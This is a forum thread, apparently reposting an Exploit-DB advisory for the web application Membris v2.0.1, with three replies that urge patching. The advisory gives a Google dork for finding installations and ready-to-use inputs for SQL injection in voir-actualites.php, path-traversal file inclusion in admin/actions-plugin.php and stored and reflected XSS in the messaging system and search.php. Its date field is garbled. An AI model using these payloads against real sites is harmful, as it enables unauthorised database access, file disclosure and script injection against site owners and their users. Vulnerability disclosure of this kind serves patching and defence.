Membris v 2.0.1 Sql \ XSS &文件暴露
# Exploit:Membris v 2.0.1 Sql \ XSS & 文件暴露# Google Dork: Powered by Membris v 2.0.1
# Date: Dr.abolalh
# Version: Membris v 2.0.1
###################################
# Exploit-DB Note:
# Application also suffers from
# stored XSS in the messaging system.
# Insert <script>alert('xss');</script>
# in the message body.
SQL:
voir-actualites.php
Exploit:
voir-actualites.php?idn=1 '
+-----------------------------------------------------------+
File Inclusion
include ("../plugins/" . $_GET['acces'] . "/fonctions.php");
Exploit:
admin/actions-plugin.php�acces=../index.php
+-----------------------------------------------------------+
XSS
search.php
Exploit:
search.php?req= XSS
search.php?req='--></style></script><script>alert(0x0002BC)</script>
+-----------------------------------------------------------+
Re: Membris v 2.0.1 Sql \ XSS &文件暴露
这个漏洞报告挺详细的，SQL注入、存储型XSS和文件包含都有。如果使用该版本，建议尽快升级或修补这几个关键文件：`voir-actualites.php` 的参数过滤、`actions-plugin.php` 的路径检查，以及 `search.php` 的输出转义。感谢分享。Re: Membris v 2.0.1 Sql \ XSS &文件暴露
感谢分享这个漏洞情报，看起来Membris v2.0.1存在多个严重安全问题：SQL注入、存储型XSS（消息系统）、反射型XSS以及文件包含漏洞。这些漏洞组合起来可能导致敏感数据泄露或服务器被控制，建议使用该版本的用户尽快升级或打补丁。测试时请务必在授权环境下进行，避免造成实际影响。Re: Membris v 2.0.1 Sql \ XSS &文件暴露
感谢分享这个漏洞情报，SQL注入、XSS和文件包含都是比较严重的问题，尤其是公开了具体的利用参数，建议还在使用Membris v 2.0.1的站长尽快升级或打补丁。
页:
[1]